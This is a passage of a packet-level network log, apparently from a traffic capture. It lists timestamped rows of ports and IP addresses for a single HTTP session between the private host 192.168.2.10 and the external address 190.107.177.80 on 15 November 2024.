Nov 15, 2024 09:10:23.688416004 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.688613892 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.688668013 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.688669920 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.688704014 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.688743114 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.688745022 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.688817024 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.688852072 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.688862085 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.717889071 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.717945099 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.717947960 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.717981100 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.718015909 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.718069077 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.718070030 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.718106985 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.718113899 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.718144894 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.718183041 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.718219042 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.718238115 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.718255043 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.718265057 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.751452923 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.751512051 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.751512051 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.751547098 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.751939058 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.751991034 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.751993895 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.752031088 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.752042055 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.752069950 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.752115965 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.752159119 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.752193928 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.752228975 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.752249002 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.752266884 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.752300978 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.752348900 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.804193974 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.804346085 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.804402113 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.804408073 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.804435015 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.804469109 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.804522038 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.804522991 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.804554939 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.804573059 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.804595947 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.804615974 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.804627895 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.804666042 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.804698944 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.804734945 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.804740906 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.804765940 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.804779053 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.804801941 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.804837942 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.804873943 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.804881096 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.804908991 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.804908991 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.804944038 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.805012941 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.805048943 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.805063963 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.805104971 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.805166006 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.805218935 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.805255890 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.805299044 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.805321932 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.805356979 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.805366993 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.805392981 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.805594921 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.805639982 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.805664062 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.805700064 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.805705070 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.805752039 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.805784941 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.805821896 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.805828094 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.805866957 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.805918932 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.805953026 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.805988073 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.806021929 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.806030989 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.806070089 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.835292101 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.835364103 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.835417032 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.835454941 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.835477114 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.835510969 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.835536957 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.835597992 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.835632086 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.835639000 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.835666895 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.835700989 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.835737944 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.835745096 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.835781097 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.868685961 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.868756056 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.868793011 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.868797064 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.869102001 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.869155884 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.869159937 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.869196892 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.869251966 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.869287968 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.869302988 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.869343042 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.869370937 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.869374037 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.869410038 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.869411945 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.869445086 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.869479895 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.869524956 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.922322989 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.922348976 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.922362089 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.922420979 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.922497988 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.922513008 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.922544003 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.922550917 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.922561884 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.922590971 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.922616959 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.922626972 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.922643900 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.922650099 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.922655106 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.922667027 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.922681093 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.922708035 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.922875881 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.922887087 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.922898054 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.922908068 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.922925949 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.922940016 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.922950983 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.922966003 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.922976017 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.922986984 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.922995090 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.922996998 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.923010111 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.923017025 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.923052073 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.923351049 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.923362970 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.923403978 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.923460960 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.923471928 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.923482895 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.923492908 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.923504114 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.923504114 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.923525095 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.923700094 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.923717022 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.923727989 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.923738003 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.923738956 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.923752069 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.923757076 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.923764944 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.923774958 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.923784971 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.923808098 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.923866034 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.952512980 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.952547073 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.952558994 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.952584028 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.952627897 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.952645063 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.952678919 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.952713966 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.952717066 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.952752113 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.952784061 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.952817917 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.952820063 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.952877045 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.952886105 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.952919960 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.953035116 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.985964060 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.986001015 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.986038923 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.986103058 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.986572981 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.986628056 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.986628056 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.986687899 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.986700058 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.986735106 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.986768007 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.986771107 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.986790895 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.986821890 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.986857891 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.986890078 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:23.986896038 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:23.986938953 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.039199114 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.039228916 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.039239883 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.039287090 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.039309978 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.039325953 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.039377928 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.039386034 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.039397001 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.039478064 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.039488077 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.039501905 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.039504051 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.039526939 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.039540052 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.041747093 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.041758060 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.041774988 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.041791916 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.041801929 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.041851044 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.042027950 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.042037964 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.042048931 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.042058945 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.042071104 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.042074919 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.042081118 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.042092085 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.042114019 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.042134047 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.042263031 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.042279005 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.042288065 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.042294025 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.042304039 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.042304993 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.042315006 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.042325020 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.042337894 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.042371988 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.042597055 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.042630911 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.042642117 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.042680979 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.042771101 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.042781115 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.042792082 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.042803049 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.042829990 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.042921066 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.042924881 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.042936087 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.042947054 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.042957067 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.042963982 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.042968035 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.042992115 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.043009043 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.069822073 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.069873095 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.069883108 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.069931984 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.069999933 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.070009947 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.070019960 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.070033073 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.070055962 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.070074081 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.070173979 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.070183992 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.070195913 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.070205927 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.070223093 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.070241928 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.104188919 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.104201078 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.104212999 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.104237080 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.104273081 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.104319096 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.104331017 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.104341984 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.104352951 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.104362965 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.104392052 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.104490995 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.104501009 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.104507923 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.104526997 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.104535103 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.104577065 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.104674101 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.104742050 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.156676054 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.156774998 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.156829119 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.156829119 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.156864882 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.156900883 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.156929016 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.156954050 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.156986952 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.157021999 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.157032967 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.157058954 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.157073975 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.157085896 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.157109022 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.157113075 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.157164097 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.157197952 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.157221079 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.157233953 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.157263041 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.157296896 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.157329082 CET	49795	80	192.168.2.10	190.107.177.80
Nov 15, 2024 09:10:24.157335997 CET	80	49795	190.107.177.80	192.168.2.10
Nov 15, 2024 09:10:24.157363892 CET	49795	80	192.168.2.10	190.107.177.80
